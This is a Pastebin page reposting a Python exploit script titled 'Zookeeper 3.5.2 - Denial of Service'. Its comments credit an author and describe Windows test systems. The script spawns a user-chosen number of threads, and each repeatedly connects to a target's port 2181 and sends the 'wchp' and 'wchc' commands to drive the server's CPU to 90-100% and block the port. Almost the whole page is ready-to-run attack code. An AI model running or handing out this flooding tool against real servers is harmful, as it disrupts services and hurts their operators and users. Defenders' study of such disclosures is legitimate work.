Advertisement
Falcon-G21

Zookeeper 3.5.2 - Denial of Service

Feb 8th, 2017
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.43 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # Exploit Title: Zookeeper Client Denial Of Service (Port 2181)
  4. # Date: 2/7/2017
  5. # Exploit Author: Brandon Dennis
  6. # Software Link: http://zookeeper.apache.org/releases.html#download
  7. # Zookeeper Version: 3.5.2
  8. # Tested on: Windows 2008 R2, Windows 2012 R2 x64 & x86
  9. # Description: The wchp command to the ZK port 2181 will gather open internal files by each session/watcher and organize them for the requesting client.
  10. #   This command is CPU intensive and will cause a denial of service to the port as well as spike the CPU of the remote machine to 90-100% consistently before any other traffic.
  11. #   The average amount of threads uses was 10000 for testing. This should work on all 3.x+ versions of Zookeeper.
  12. #   This should effect Linux x86 & x64 as well
  13.  
  14.  
  15.  
  16. import time
  17. import os
  18. import threading
  19. import sys
  20. import socket
  21.  
  22. numOfThreads = 1
  23. exitStr = "n"
  24. stop_threads = False
  25. threads = []
  26. ipAddress = "192.168.1.5" #Change this
  27. port = 2181
  28.  
  29. def sendCommand(ipAddress, port):
  30.     try:
  31.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  32.         s.connect((ipAddress, port))
  33.         s.send("wchp\r".encode("utf-8"))
  34.         s.recv(1024)
  35.         s.send("wchc\r".encode("utf-8"))
  36.         s.close()
  37.     except:
  38.         pass
  39.  
  40.    
  41. def runCMD(id, stop, ipAddress, port):
  42.     while True:
  43.         sendCommand(ipAddress, port)
  44.         if stop():
  45.             break
  46.     return
  47.    
  48. def welcomeBanner():
  49.     banner = """ _______   __  _____               _              
  50. |___  | | / / /  __ \            | |              
  51.   / /| |/ /  | /  \/_ __ __ _ ___| |__   ___ _ __
  52.  / / |    \ | |   | '__/ _` / __| '_ \ / _ | '__|
  53. ./ /__| |\ \ | \__/| | | (_| \__ | | | |  __| |  
  54. \_____\_| \_/  \____|_|  \__,_|___|_| |_|\___|_|  
  55.                                                  
  56.                 By: Brandon Dennis
  57.          Email: [email protected]
  58.                  """
  59.     print(banner)
  60.    
  61.  
  62. welcomeBanner()
  63. numOfThreads = int(input("How many threads do you want to use: "))
  64. print ("Startin Up Threads...")
  65. for i in range(numOfThreads):
  66.     t = threading.Thread(target=runCMD, args=(id, lambda: stop_threads, ipAddress, port))
  67.     threads.append(t)
  68.     t.start()
  69. print("Threads are now started...")
  70.    
  71.  
  72. while exitStr != "y":
  73.     inpt = input("Do you wish to stop threads(y): ")
  74.    
  75.     if inpt == "y":
  76.         exitStr = "y"
  77.  
  78. print("\nStopping Threads...")
  79. stop_threads = True    
  80. for thread in threads:
  81.     thread.join()
  82.        
  83. print("Threads are now stopped...")
  84. sys.exit(0);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement